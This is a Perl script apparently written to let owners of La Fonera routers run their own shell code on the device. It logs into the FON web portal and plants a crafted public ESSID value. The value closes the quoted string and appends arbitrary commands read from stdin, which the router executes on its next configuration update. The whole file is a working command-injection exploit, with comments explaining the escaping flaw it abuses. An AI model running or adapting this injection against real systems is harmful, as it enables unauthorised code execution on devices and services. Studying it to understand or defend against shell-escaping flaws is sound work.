#!/usr/bin/perl
#
# shellfon.pl
#
# Shell code injector for La Fonera
#
# by Michael Kebe <michael.kebe@web.de>
# and Stefan Tomanek <stefan@pico.ruhr.de>

# turn on perl's safety features
use strict;
use warnings;

use WWW::Mechanize;

sub inject($$$) {
    my ($email, $password, $code) = @_;

    # create a new browser
    my $browser = WWW::Mechanize->new();

    # tell it to get the main page
    $browser->get("http://en.fon.com/");

    # We fill in our email address and password to login
    $browser->form_number('1');
    $browser->field("email", $email);
    $browser->field("password", $password);
    $browser->click();
    $browser->success() or die "LOGIN FAILED";
    
    # Now we go the the user zone by HTTP
    #$browser->get("https://de.fon.com/userzone/user_zone.php");
    $browser->get("https://en.fon.com/userzone/user_zone.php");
    $browser->success() or die "USER ZONE HTTPS FAILED";

    #$browser->follow_link( text => "Konfiguriere Deinen FON Community Router" );
    $browser->follow_link( text => "Configure your FON Social Router" );
    $browser->success() or die "UNABLE TO ENTER ROUTER CONFIG";
    
    # Retrieve router ID
    my $id = extractID($browser->content()) || die "UNABLE TO EXTRACT ROUTER ID";

    $browser->get("https://en.fon.com/userzone/router_config.php?router_id=$id");
    $browser->success() or die "UNABLE TO RETRIEVE ROUTER CONFIG PAGE";
    
    # Now we inject our shell code by using the public ESSID
    # Those guys better should have read "man bash", you cannot escape
    # single quotes by a backslash :-)
    $browser->form_number('2');
    # We now fill in our manipulated ESSID
    # FON prepends every ' with a backslash, which is useless since 
    # this kind of escape sequence does not work within single quoted
    # strings.
    # By closing the ESSID string with our injected \' and sending a
    # newline we can now simply append aritrary shell commands that
    # will be executed on our box during the next update. The
    # comment mark # simply tells the shell to ignore the now
    # useless final '.
    my $oldessid = $browser->value("router_public_ssid");
    $browser->field("router_public_ssid","MUH\'\n\t$code\n#");
    $browser->click();
    $browser->success() or die "SUBMITTING ESSID FORM FAILED";

    $browser->follow_link( text => "Logout" );
}

sub extractID($) {
    my ($page) = @_;
    if ($page =~ /router_config\.php\?router_id=([0-9]+)'/) {
        return $1;
    }
    return undef;
}

sub readCode() {
    print STDERR "By your command...\n";
    my $code = "";
    while (<STDIN>) {
        $code .= $_;
    }
    return $code;
}

sub processArgs() {
    # Retrieve user information from command line
    my $email = shift(@ARGV) || die "Usage: shellfon.pl EMAIL PASSWORD";
    my $password = shift(@ARGV) || die "Usage: shellfon.pl EMAIL PASSWORD";
    # Read shell code from standard input
    my $code = readCode();
    inject($email, $password, $code);
    print STDERR "Code has been injected. Now reboot your La Fonera to force an configuration update.\n"
}

processArgs();

